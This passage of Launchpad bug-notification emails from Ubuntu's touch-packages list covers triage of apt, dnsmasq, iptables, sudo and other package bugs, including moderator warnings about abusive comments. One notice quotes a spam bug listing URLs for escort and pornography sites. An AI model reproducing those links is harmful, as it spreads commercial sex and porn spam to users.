hirsute instead of groovy
  2) Run apt-get update
  3) Execute 'sudo apt-get install base-passwd'

  With the version of base-passwd you'll receive a prompt about moving
  the 'irc' user's home directory from '/var/run/ircd' to '/run/ircd'.

  
  [Original Description]
  Upgrading from groovy to hirsuite, base-passwd asks if the `irc` user's home 
directory should be moved from `/var/run/ircd` to `/run/ircd`.  Having no IRC 
server installed makes this very confusing, but appears harmless 
(https://askubuntu.com/questions/876975/user-irc-inside-of-default-ubuntu-16-04-server).
  Possibly caused by https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=946884, 
but can this not prompt the user for a decision?

  ProblemType: BugDistroRelease: Ubuntu 21.04
  Package: base-passwd 3.5.49
  ProcVersionSignature: Ubuntu 5.8.0-44.50-generic 5.8.18
  Uname: Linux 5.8.0-44-generic x86_64
  ApportVersion: 2.20.11-0ubuntu59
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: GNOME
  Date: Tue Feb 23 12:02:59 2021
  InstallationDate: Installed on 2019-08-17 (556 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Alpha amd64 (20190305.1)
  RebootRequiredPkgs:
   libc6
   libc6
   libssl1.1
   libssl1.1SourcePackage: base-passwd
  UpgradeStatus: Upgraded to hirsute on 2021-02-23 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/base-passwd/+bug/1916651/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1933674] Re: gaixinhsg

[Colin Watson]

** Package changed: apt (Ubuntu) => null-and-void

** Information type changed from Public to Private Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1933674

Title:
  gaixinhsg

Status in NULL Project:
  Invalid

Bug description:
  https://gaixinhsg.info/video/em-thu-ky-buom-to-sang-nha-chieu-anh-dit 
  https://gaixinhsg.info/gai-goi/sai-gon/quan-12 
  https://gaixinhsg.info/gai-goi/can-tho 
  https://gaixinhsg.info/video/ninh-duong-lan-ngoc-lo-clip-nong 
  https://gaixinhsg.info/gai-goi
  https://gaixinhsg.info/phim-sex

To manage notifications about this bug go to:
https://bugs.launchpad.net/null-and-void/+bug/1933674/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1003842] Re: dnsmasq sometimes fails to resolve private names in networks with non-equivalent nameservers

[Colin Watson]

** Changed in: network-manager (Ubuntu)
   Status: Fix Released => Invalid

** Changed in: network-manager (Ubuntu Precise)
   Status: Fix Released => Invalid

** Changed in: dnsmasq (Ubuntu)
   Status: Fix Released => Triaged

** Changed in: dnsmasq (Ubuntu Precise)
   Status: Fix Released => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dnsmasq in Ubuntu.
https://bugs.launchpad.net/bugs/1003842

Title:
  dnsmasq sometimes fails to resolve private names in networks with non-
  equivalent nameservers

Status in dnsmasq package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Invalid
Status in dnsmasq source package in Precise:
  Triaged
Status in network-manager source package in Precise:
  Invalid
Status in dnsmasq package in Debian:
  New

Bug description:
  A number of reports already filed against network-manager seem to
  reflect this problem, but to make things very clear I am opening a new
  report.  Where appropriate I will mark other reports as duplicates of
  this one.

  Consider a pre-Precise system with the following /etc/resolv.conf:

  nameserver 192.168.0.1
  nameserver 8.8.8.8

  The first address is the address of a nameserver on the LAN that can
  resolve both private and public domain names.  The second address is
  the address of a nameserver on the Internet that can resolve only
  public names.

  This setup works fine because the GNU resolver always tries the first-
  listed address first.

  Now the administrator upgrades to Precise and instead of writing the
  above to resolv.conf, NetworkManager writes

  server=192.168.0.1
  server=8.8.8.8

  to /var/run/nm-dns-dnsmasq.conf and "nameserver 127.0.0.1" to
  resolv.conf.  Resolution of private domain names is now broken because
  dnsmasq treats the two upstream nameservers as equals and uses the
  faster one, which could be 8.8.8.8.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dnsmasq/+bug/1003842/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1401488] Re: [regression] Mir servers (since 0.9) randomly crash in malloc due to heap corruption

[Colin Watson]

** Changed in: glib2.0 (Ubuntu)
   Status: Fix Released => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mir in Ubuntu.
https://bugs.launchpad.net/bugs/1401488

Title:
  [regression] Mir servers (since 0.9) randomly crash in malloc due to
  heap corruption

Status in GLib:
  Expired
Status in Mir:
  Fix Released
Status in Mir 0.9 series:
  Won't Fix
Status in glib2.0 package in Ubuntu:
  Triaged
Status in mir package in Ubuntu:
  Fix Released

Bug description:
  This happens randomly when using the phone

  ProblemType: Crash
  DistroRelease: Ubuntu 15.04
  Package: unity-system-compositor 0.0.5+15.04.20141204-0ubuntu1
  Uname: Linux 3.4.67 armv7l
  ApportVersion: 2.14.7-0ubuntu10
  Architecture: armhf
  AssertionMessage: *** Error in `unity-system-compositor': corrupted 
double-linked list: 0xaa817808 ***
  CrashCounter: 1
  Date: Wed Dec 10 19:28:35 2014
  ExecutablePath: /usr/sbin/unity-system-compositor
  ExecutableTimestamp: 1417733344
  GraphicsCard:

  InstallationDate: Installed on 2014-12-11 (0 days ago)
  InstallationMedia: Ubuntu Vivid Vervet (development branch) - armhf 
(20141211-020204)
  ProcCmdline: unity-system-compositor --disable-overlays=false 
--spinner=/usr/bin/unity-system-compositor-spinner --file /run/mir_socket 
--from-dm-fd 9 --to-dm-fd 13 --vt 1
  ProcCwd: /
  ProcEnviron:

  Signal: 6
  SourcePackage: unity-system-compositor
  StacktraceTop:
   __libc_message (do_abort=, fmt=0xb68e3628 "*** Error in `%s': 
%s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
   malloc_printerr (action=1, str=0xb68e366c "corrupted double-linked list", 
ptr=) at malloc.c:4996
   malloc_consolidate (av=av@entry=0xaa800010) at malloc.c:4165
   _int_malloc (av=av@entry=0xaa800010, bytes=bytes@entry=1264) at malloc.c:3423
   __GI___libc_malloc (bytes=1264) at malloc.c:2891
  Title: unity-system-compositor assert failure: *** Error in 
`unity-system-compositor': corrupted double-linked list: 0xaa817808 ***
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:

  version.libdrm: libdrm2 2.4.58-2
  version.lightdm: lightdm 1.13.0-0ubuntu2
  version.mesa: libegl1-mesa-dev N/A

To manage notifications about this bug go to:
https://bugs.launchpad.net/glib/+bug/1401488/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1385475] Re: error processing archive /var/cache/apt/archives/dbus-property-service_0.7_all.deb (--unpack): trying to overwrite '/usr/share/autopilot-touch/apparmor/click.rules',

[Colin Watson]

** Changed in: autopilot (Ubuntu)
   Status: Fix Released => Confirmed

** Changed in: dbus-property-service (Ubuntu)
   Status: Fix Released => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to autopilot in Ubuntu.
https://bugs.launchpad.net/bugs/1385475

Title:
  error processing archive /var/cache/apt/archives/dbus-property-
  service_0.7_all.deb (--unpack):  trying to overwrite '/usr/share
  /autopilot-touch/apparmor/click.rules', which is also in package
  autopilot-touch 1.5.0+14.10.20140812-0ubuntu1

Status in autopilot package in Ubuntu:
  Confirmed
Status in dbus-property-service package in Ubuntu:
  Confirmed

Bug description:
  (utopic-amd64)root@utopic:/build# apt-get install dbus-property-service 
autopilot-touch
  […]
  Selecting previously unselected package dbus-property-service.
  Preparing to unpack .../dbus-property-service_0.7_all.deb ...
  Unpacking dbus-property-service (0.7) ...
  dpkg: error processing archive 
/var/cache/apt/archives/dbus-property-service_0.7_all.deb (--unpack):
   trying to overwrite '/usr/share/autopilot-touch/apparmor/click.rules', which 
is also in package autopilot-touch 1.5.0+14.10.20140812-0ubuntu1
  […]
  Errors were encountered while processing:
   /var/cache/apt/archives/dbus-property-service_0.7_all.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  Need the version to include -0ubuntu1, and also ap-touch needs
  uploading to drop the files.

  ProblemType: Bug
  DistroRelease: Ubuntu 14.10
  Package: dbus-property-service 0.7
  ProcVersionSignature: Ubuntu 3.16.0-21.28-generic 3.16.4
  Uname: Linux 3.16.0-21-generic x86_64
  NonfreeKernelModules: nvidia wl
  ApportVersion: 2.14.7-0ubuntu8
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Fri Oct 24 21:07:27 2014
  InstallationDate: Installed on 2012-10-18 (736 days ago)
  InstallationMedia: Ubuntu 12.04.1 LTS "Precise Pangolin" - Release amd64 
(20120823.1)
  PackageArchitecture: all
  SourcePackage: dbus-property-service
  UpgradeStatus: Upgraded to utopic on 2014-07-30 (86 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/autopilot/+bug/1385475/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917920] Re: magic-proxy broke with iptables 1.8.7-1ubuntu2

[Colin Watson]

We do some slightly fiddly stuff in launchpad-buildd to set up a bridge
- see the `iptables` and `start_bridge` methods in
https://git.launchpad.net/launchpad-
buildd/tree/lpbuildd/target/lxd.py#n233.  Might this be relevant?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iptables in Ubuntu.
https://bugs.launchpad.net/bugs/1917920

Title:
  magic-proxy broke with iptables 1.8.7-1ubuntu2

Status in launchpad-buildd:
  New
Status in iptables package in Ubuntu:
  New
Status in livecd-rootfs package in Ubuntu:
  New
Status in lxd package in Ubuntu:
  New

Bug description:
  when iptables got upgraded from 1.8.5-3ubuntu4 to 1.8.7-1ubuntu2 magic
  proxy stopped working in livecd-rootfs.

  It does very simple thing:

  iptables -t nat -A OUTPUT -p tcp --dport 80 -m owner ! --uid-owner
  daemon -j REDIRECT --to 8080

  inside hirsute lxd container, with quite high privileges, in a bionic
  VM, running 4.15 kernel.

  With 1.8.5 above worked fine, with 1.8.7 somehow there was no outbound
  connectivity the very first http networking command after the above
  call would just hang indefinitely.

  However, if one does this instead:

  iptables -vv -t nat -S
  iptables-legacy -vv -t nat -S
  iptables -vv -t nat -A OUTPUT -p tcp --dport 80 -m owner ! --uid-owner daemon 
-j REDIRECT --to 8080

  somehow magically everything starts to work fine.

  weird.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad-buildd/+bug/1917920/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917920] Re: magic-proxy broke with iptables 1.8.7-1ubuntu2

[Colin Watson]

** Project changed: launchpad => launchpad-buildd

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iptables in Ubuntu.
https://bugs.launchpad.net/bugs/1917920

Title:
  magic-proxy broke with iptables 1.8.7-1ubuntu2

Status in launchpad-buildd:
  New
Status in iptables package in Ubuntu:
  New
Status in livecd-rootfs package in Ubuntu:
  New
Status in lxd package in Ubuntu:
  New

Bug description:
  when iptables got upgraded from 1.8.5-3ubuntu4 to 1.8.7-1ubuntu2 magic
  proxy stopped working in livecd-rootfs.

  It does very simple thing:

  iptables -t nat -A OUTPUT -p tcp --dport 80 -m owner ! --uid-owner
  daemon -j REDIRECT --to 8080

  inside hirsute lxd container, with quite high privileges, in a bionic
  VM, running 4.15 kernel.

  With 1.8.5 above worked fine, with 1.8.7 somehow there was no outbound
  connectivity the very first http networking command after the above
  call would just hang indefinitely.

  However, if one does this instead:

  iptables -vv -t nat -S
  iptables-legacy -vv -t nat -S
  iptables -vv -t nat -A OUTPUT -p tcp --dport 80 -m owner ! --uid-owner daemon 
-j REDIRECT --to 8080

  somehow magically everything starts to work fine.

  weird.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad-buildd/+bug/1917920/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917620] Re: failed to install libffi-dev package

[Colin Watson]

This isn't a bug on Launchpad itself (i.e. the launchpad.net website).
Moving to Ubuntu libffi, although I rather suspect this should actually
be a support request considering the very large volume of errors from
apt-get update.  If I were you I would sort those out first, probably by
upgrading to at least bionic rather than having a weird completely
unsupported mix of vivid, xenial, and artful on your system.

** Project changed: launchpad => libffi (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1917620

Title:
  failed to install libffi-dev  package

Status in libffi package in Ubuntu:
  New

Bug description:
  Hi there,
  I'm trying to install libffi-dev and receiving this error [1]:
   libffi-dev : Depends: libffi6 (= 3.2.1-4) but 3.2.1-6 is to be installed

  However, my system already had the libff6=3.2.1-6 [2,3].
  I also tried updating and installing this package, however did not work [4].

  I would appreciate your feedback on this.

  Thanks a lot,

  Info about my system:
  $ uname -a
  Linux pooja-XPS-13-9360 4.13.0-46-generic #51-Ubuntu SMP Tue Jun 12 12:36:29 
UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  
  [1]
  *
  $ sudo apt-get install libffi-dev
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Some packages could not be installed. This may mean that you have
  requested an impossible situation or if you are using the unstable
  distribution that some required packages have not yet been created
  or been moved out of Incoming.
  The following information may help to resolve the situation:

  The following packages have unmet dependencies:
   libffi-dev : Depends: libffi6 (= 3.2.1-4) but 3.2.1-6 is to be installed
  E: Unable to correct problems, you have held broken packages.

  [2]
  *

  $ sudo apt-get install libffi6
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  libffi6 is already the newest version (3.2.1-6).
  0 upgraded, 0 newly installed, 0 to remove and 10 not upgraded.

  [3]
  *
  $ apt-cache policy libffi-dev
  libffi-dev:
Installed: (none)
Candidate: 3.2.1-4
Version table:
   3.2.1-4 500
  500 http://archive.ubuntu.com/ubuntu xenial/main amd64 Packages

  [4]
  
  $ sudo apt-get update && sudo apt-get install libffi-dev
  Hit:1 https://repo.skype.com/deb unstable InRelease   
  
  Hit:2 http://ppa.launchpad.net/brightbox/ruby-ng/ubuntu artful InRelease  
  
  Hit:3 https://packages.sury.org/php stretch InRelease 
  
  Ign:4 http://ppa.launchpad.net/deadsnakes/ppa/ubuntu artful InRelease 
  
  Hit:5 http://ppa.launchpad.net/ondrej/php/ubuntu artful InRelease 
  
  Hit:6 http://ppa.launchpad.net/ubuntu-toolchain-r/test/ubuntu artful 
InRelease   
   
  Ign:7 http://ppa.launchpad.net/webupd8team/unstable/ubuntu artful InRelease   
  
  Err:8 http://ppa.launchpad.net/deadsnakes/ppa/ubuntu artful Release   
  
404  Not Found [IP: 91.189.95.85 80]
  Err:9 http://ppa.launchpad.net/webupd8team/unstable/ubuntu artful Release 
  
404  Not Found [IP: 91.189.95.85 80]
  Hit:10 http://dl.google.com/linux/chrome/deb stable InRelease 
  
  Ign:11 http://archive.ubuntu.com/ubuntu xenial InRelease  
  
  Ign:12 http://archive.ubuntu.com/ubuntu xenial-updates InRelease  
  
  Ign:13 http://archive.ubuntu.com/ubuntu xenial-backports InRelease
  
  Ign:14 http://archive.ubuntu.com/ubuntu artful InRelease  
  
  Ign:15 http://archive.ubuntu.com/ubuntu vivid InRelease   

[Touch-packages] [Bug 1916915] Re: Incorrect package version available on bionic pool (2.7.17-1~18.04ubuntu1.3 not availbale)

[Colin Watson]

*** This bug is a duplicate of bug 1916893 ***
https://bugs.launchpad.net/bugs/1916893

The bug report about the regression is bug 1916893, and now links to
https://ubuntu.com/security/notices/USN-4754-2, so I'm just going to
mark this as a duplicate of that bug.

** This bug has been marked a duplicate of bug 1916893
   Regression - upate python2.7 for cover CVE-2021-3177 modifying unicode parts 
cause serious regressions

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python2.7 in Ubuntu.
https://bugs.launchpad.net/bugs/1916915

Title:
  Incorrect package version available on bionic pool
  (2.7.17-1~18.04ubuntu1.3 not availbale)

Status in python2.7 package in Ubuntu:
  Confirmed

Bug description:
  Apt tries to get the python2.7 package and some of its dependencies
  with version (2.7.17-1~18.04ubuntu1.3). However it returns an error
  with:

  Failed to fetch
  
http://security.ubuntu.com/ubuntu/pool/main/p/python2.7/python2.7-minimal_2.7.17-1~18.04ubuntu1.3_amd64.deb
  404  Not Found [IP: 91.189.88.152 80]

  The problem is present on BIONIC distro

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1916915/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916915] Re: Incorrect package version available on bionic pool (2.7.17-1~18.04ubuntu1.3 not availbale)

[Colin Watson]

This update was broken and intentionally reverted.  There should be a
USN update coming soon, and it will be superseded by a newer version,
but it was better to quickly withdraw the update to avoid causing
serious breakage.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python2.7 in Ubuntu.
https://bugs.launchpad.net/bugs/1916915

Title:
  Incorrect package version available on bionic pool
  (2.7.17-1~18.04ubuntu1.3 not availbale)

Status in python2.7 package in Ubuntu:
  Confirmed

Bug description:
  Apt tries to get the python2.7 package and some of its dependencies
  with version (2.7.17-1~18.04ubuntu1.3). However it returns an error
  with:

  Failed to fetch
  
http://security.ubuntu.com/ubuntu/pool/main/p/python2.7/python2.7-minimal_2.7.17-1~18.04ubuntu1.3_amd64.deb
  404  Not Found [IP: 91.189.88.152 80]

  The problem is present on BIONIC distro

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1916915/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1891798] Re: Backport fix from sudo 1.8.22 to fix "stair-stepped output" bug

[Colin Watson]

** Also affects: sudo (Ubuntu Bionic)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to sudo in Ubuntu.
https://bugs.launchpad.net/bugs/1891798

Title:
  Backport fix from sudo 1.8.22 to fix "stair-stepped output" bug

Status in sudo package in Ubuntu:
  New
Status in sudo source package in Bionic:
  New

Bug description:
  sudo 1.8.20 introduced a bug in commit
  44dc15d02dc0b34bf03bc971ba08d3a761c3a031
  that is fixed by sudo 1.8.22 in commit
  3b88cdfcd8d1a39eabbb5b7d0c8fe8f035d7a264

  When the "use_pty" option is enabled, "stair-stepped output" occurs if
  sudo is piped to another command.

  Example output attached in a text file.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: sudo 1.8.21p2-3ubuntu1.2
  Uname: Linux 5.4.50+ x86_64
  ApportVersion: 2.20.9-0ubuntu7.16
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Aug 16 12:29:23 2020
  InstallationDate: Installed on 2014-05-10 (2290 days ago)
  InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417)
  SourcePackage: sudo
  UpgradeStatus: Upgraded to bionic on 2018-11-24 (630 days ago)
  modified.conffile..etc.pam.d.sudo: [inaccessible: [Errno 13] Permission 
denied: '/etc/pam.d/sudo']
  modified.conffile..etc.sudoers: [inaccessible: [Errno 13] Permission denied: 
'/etc/sudoers']
  modified.conffile..etc.sudoers.d.README: [inaccessible: [Errno 13] Permission 
denied: '/etc/sudoers.d/README']

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/1891798/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1534115] Re: apt-add-repository ppa:user/distro/repository pattern not recognized

[Colin Watson]

"distro" in this case means e.g. "ubuntu", not an Ubuntu series such as
"vivid".  This distinction was introduced due to the separate "ubuntu-
rtm" distribution that was at one point in use for the Ubuntu phone
project.

It's true that the documentation could be clearer about this.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1534115

Title:
  apt-add-repository ppa:user/distro/repository pattern not recognized

Status in software-properties package in Ubuntu:
  Confirmed

Bug description:
  add-apt-repository --help shows ppa:user/distro/repository as possible
  pattern to add.

  sudo apt-add-repository ppa:nginx/stable works as expected.

  sudo apt-add-repository ppa:nginx/vivid/stable doesn't works.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1534115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1880412] Re: CLI displays unknown extra IP Address

[Colin Watson]

In addition to what Seth said, this message is added to the MOTD by
landscape-sysinfo (in the landscape-common package), not by OpenSSH; so
I'm reassigning this bug there.

** Package changed: openssh (Ubuntu) => landscape-client (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1880412

Title:
  CLI displays unknown extra IP Address

Status in landscape-client package in Ubuntu:
  New

Bug description:
  While working to set up an additional IP Address on the server from
  VMWare, somehow the MOTD is coming up with an extra IP Address that
  doesn't exist on the interface (172.16.50.7).

  MOTD + ifconfig output below demonstrating the bug :

  user@localworkstation ~ % ssh server  
  Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)

   * Documentation:  https://help.ubuntu.com
   * Management: https://landscape.canonical.com
   * Support:https://ubuntu.com/advantage

System information as of Sun 24 May 2020 02:56:13 PM UTC

System load: 0.0
Usage of /:  6.4% of 97.93GB
Memory usage:34%
Swap usage:  0%
Processes:   218
Users logged in: 0
IPv4 address for ens160: 172.16.30.15
IPv4 address for ens161: 172.16.40.53
IPv4 address for ens193: 172.16.100.53
IPv4 address for ens224: 172.16.10.53
IPv4 address for ens225: 172.16.50.6
IPv4 address for ens225: 172.16.50.7
IPv4 address for ens256: 172.16.20.53

  
  0 updates can be installed immediately.
  0 of these updates are security updates.

  Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
  Check your Internet connection or proxy settings

  
  Last login: Sun May 24 14:54:15 2020 from 172.16.10.46
  user@server:~$ ifconfig ens225
  ens225: flags=4163  mtu 1500
  inet 172.16.50.6  netmask 255.255.255.0  broadcast 172.16.50.255
  inet6 fe80::282c:c0bc:4862:d381  prefixlen 64  scopeid 0x20
  ether 00:0c:29:c9:36:42  txqueuelen 1000  (Ethernet)
  RX packets 1587  bytes 147366 (147.3 KB)
  RX errors 0  dropped 0  overruns 0  frame 0
  TX packets 49  bytes 4610 (4.6 KB)
  TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

  user@server:~$

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: openssh-server 1:8.2p1-4
  ProcVersionSignature: Ubuntu 5.4.0-31.35-generic 5.4.34
  Uname: Linux 5.4.0-31-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: pass
  Date: Sun May 24 14:58:54 2020
  InstallationDate: Installed on 2020-04-25 (28 days ago)
  InstallationMedia: Ubuntu-Server 20.04 LTS "Focal Fossa" - Release amd64 
(20200423)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SSHDConfig:
   Error: command ['pkexec', '/usr/sbin/sshd', '-T'] failed with exit code 127: 
polkit-agent-helper-1: error response to PolicyKit daemon: 
GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
   Error executing command as another user: Not authorized
   
   This incident has been reported.
  SourcePackage: openssh
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/landscape-client/+bug/1880412/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1895382] Re: Ability to install 2 or more versions at once

[Colin Watson]

@skiphopjump, it's not OK to make personal attacks on other Launchpad
users this way (see https://ubuntu.com/community/code-of-conduct, but
also basic common courtesy).  Julian already warned you (I thought
rather mildly in the circumstances) that your language was
inappropriate, but you've been continuing to make aggressive comments
anyway.

I'm therefore suspending your Launchpad account.  It can be reactivated
if you commit to behaving civilly (you'll get a contact address when you
next try to log in) and to retracting your attacks on individual
developers here.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1895382

Title:
  Ability to install 2 or more versions at once

Status in apt package in Ubuntu:
  Invalid

Bug description:
  1) do not ask questions with two identical answers in a row
  2) ask user every time if multiple versions are present
  3) if the same answer was given twice in a row - remember choice

  The ideal solution should serve as an umbrella for all packaging
  tools.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1895382/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1875910] Re: Command to update mirror list

[Colin Watson]

** Changed in: launchpad
   Importance: Medium => Low

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python-apt in Ubuntu.
https://bugs.launchpad.net/bugs/1875910

Title:
  Command to update mirror list

Status in Launchpad itself:
  Triaged
Status in python-apt package in Ubuntu:
  Triaged

Bug description:
  I see a lot of issues regarding outdated Ubuntu.mirrors file, I think
  there should be a command that imports the list of mirrors from
  https://launchpad.net/ubuntu/+archivemirrors and updates the
  templates/Ubuntu.mirrors file, then in the UI add a button that can
  update the list of Mirrors. I don't see the point of needing a new
  release every time the list needs to be updated.

  I want a mirror that was updated yesterday, because is the closest to
  my location, but it is not in the list, and as you can see there are
  lots of issues from people that could have been avoided with this.

  This is not really a bug, but a feature.
  Also could be great if there was some kind of filter, like if you select now 
in Ubuntu 19.10 a ftp mirror and update it will fail, and the UI gets broken 
(you can't even close the window, you have to kill it), so doing this update 
should just import those mirrors that are safe to use.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1875910/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1888061] Re: "Line by line difference" of config files during release upgrade is an unreadable mess

[Colin Watson]

You've already been reminded of the code of conduct, but you continue to
violate it; it's perfectly possible to point out deficiencies in
software in a constructive and respectful way, which "pathetic crap" is
not.  Since it doesn't appear that you intend to change your behaviour,
I'll be suspending your Launchpad account shortly (once this bug
notification has been sent).

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1888061

Title:
  "Line by line difference" of config files during release upgrade is an
  unreadable mess

Status in apt package in Ubuntu:
  New

Bug description:
  I upgraded from 16.04 to 18.04, then to 19.10, then to 20.04.

  I'm not sure ini whih of the upgrades I noticed the issue but I'm
  pretty sure it applies to all of them.

  As usual, the upgrade had to install some configuration files which
  would replace some files I had modified, and so I got the prompt to
  choose what to do: whether to keep my modified version, or overwrite
  it with the packager's version.

  I don't remember the exact interface, but when you are prompted to
  choose that, you have a few options to see the differences between the
  two files. I think by default it shows a classical diff (with "+++"s
  and "---"s) but there is an option to show "line by line differences".

  I chose that for one file, and I expected to see a side-by-side diff
  similar to those I've seen in dozens of tools, where you see the two
  entire files side by side and the differences are highlighted in both
  sides in colors, such as lines that are added or removed and lines
  that are modified.

  Short of that, the very least that I would have expected was to show
  the two files side by side.

  
  Instead, this PATHETIC CRAP showed up which can be seen in the sceenshot.
  And don't remind me of the code of conduct. I'm not insulting anybody. It's a 
FACT that this is crap and that it is pathetic.

  
  Not only are DIFFERENCES not shown (line by line or otherwise). The two files 
are shown as one single text file, where each line of the second file is just 
appended to the corresponding line of the first file.
  You can't even tell where the line of one file begins and the line of the 
other ends.

  It's a completely useless way to show "differences" between two files.
  It's less useful than just showing the two files next to each other in
  two independent text boxes. Way less useful. Let alone compared to an
  actual side-by-side diff tool (and there are plenty to chose from).

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: apt 2.0.2ubuntu0.1
